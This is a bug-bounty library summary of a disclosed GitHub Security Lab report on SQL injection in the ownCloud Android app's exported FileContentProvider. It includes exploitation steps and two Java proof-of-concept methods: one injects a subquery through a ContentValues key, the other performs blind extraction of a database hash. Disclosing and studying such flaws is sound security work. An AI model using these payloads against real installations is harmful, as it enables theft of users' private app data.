# GitHub Security Lab (GHSL) Vulnerability Report: SQLInjection in FileContentProvider.kt (GHSL-2022-059)

Exported FileContentProvider in ownCloud Android app passes unsanitized where/selection/ContentValues keys to SQLite, letting any co-located app read arbitrary DB tables.

- Payout: $300
- Severity: medium
- Program: ownCloud
- Found by: atorralba
- Disclosed: 2023-04-12
- Write-up quality: 7/10
- Original: https://hackerone.com/reports/1650264
- Library page: https://bugbountylibrary.com/r/h1%3A1650264
- Tags: area:mobile domain:mobile impact:data-leak kind:bounty platform:hackerone sev:medium tech:android technique:source-review vuln:access-control vuln:sqli

**Target:** ownCloud Android app FileContentProvider (content://org.owncloud/file)
**Root cause:** Exported ContentProvider forwards caller-controlled where, selection, sortOrder, and ContentValues keys directly into db.delete/insert/update/query without parameterization or validation.
**Steps:**
1. Identify exported provider `org.owncloud/file` in AndroidManifest.xml.
2. Insert a row via `ContentResolver.insert(content://org.owncloud/file, values)` to get a row `_id`.
3. Call `update` with ContentValues key `etag=?,path=(SELECT GROUP_CONCAT(<col>,'\n') FROM <table>) WHERE _id=<id>-- -` to inject a subquery into the column-name position.
4. Query `content://org.owncloud/file` with projection `path` and selection `_id=?` to read the exfiltrated data.
5. Delete the row to clean up.
**How found:** Reviewed exported provider entry points and traced each ContentProvider method parameter (where, selection, sortOrder, ContentValues keys) to raw SQLite calls, spotting the ContentValues-key-as-column-name injection.
**Exploitation:** Malicious app with no permissions inserts a file row, then abuses the ContentValues key as an injected column expression in update to copy any table's contents into the `path` column, then reads it back via query.
**Insight:** ContentValues keys become SQL column names in insert/update — inject via the key string (e.g. `col=?,other=(SELECT ...)`) rather than the value, which is often overlooked by sanitizers.

## Proof of concept (copied exactly from the original report)

**Java PoC exploiting update SQL injection to exfiltrate filelist tables**

```
public class OwncloudProviderExploit {

    public static String exploit(Context ctx, String columnName, String tableName) throws Exception {
        Uri result = ctx.getContentResolver().insert(Uri.parse("content://org.owncloud/file"), newOwncloudFile());
        ContentValues updateValues = new ContentValues();
        updateValues.put("etag=?,path=(SELECT GROUP_CONCAT(" + columnName + ",'\n') " +
                "FROM " + tableName + ") " +
                "WHERE _id=" + result.getLastPathSegment() + "-- -", "a");
        Log.e("test", "" + ctx.getContentResolver().update(
                result, updateValues, null, null));
        String query = query(ctx, new String[]{"path"},
                "_id=?", new String[]{result.getLastPathSegment()});
        deleteFile(ctx, result.getLastPathSegment());
        return query;
    }
```

**Blind SQL injection PoC against owncloud_database shares**

```
public static String blindExploit(Context ctx) {
        String output = "";
        String chars = "abcdefghijklmopqrstuvwxyz0123456789";
        while (true) {
            int outputLength = output.length();
            for (int i = 0; i < chars.length(); i++) {
                char candidate = chars.charAt(i);
                String attempt = String.format("%s%c%s", output, candidate, "%");
                try (Cursor mCursor = ctx.getContentResolver().query(
                        Uri.parse("content://org.owncloud/shares"),
                        null,
                        "'a'=? AND (SELECT identity_hash FROM room_master_table) LIKE '" + attempt + "'",
                        new String[]{"a"}, null)) {
                    if (mCursor == null) {
                        Log.e("ProviderHelper", "mCursor is null");
                        return "0";
                    }
                    if (mCursor.getCount() > 0) {
                        output += candidate;
                        Log.i("evil", output);
                        break;
                    }
                }
            }
            if (output.length() == outputLength)
                break;
        }
        return output;
    }
```

